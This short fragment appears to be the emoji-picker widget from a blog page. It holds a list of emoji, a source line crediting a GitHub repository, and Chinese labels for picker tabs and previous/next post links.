😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇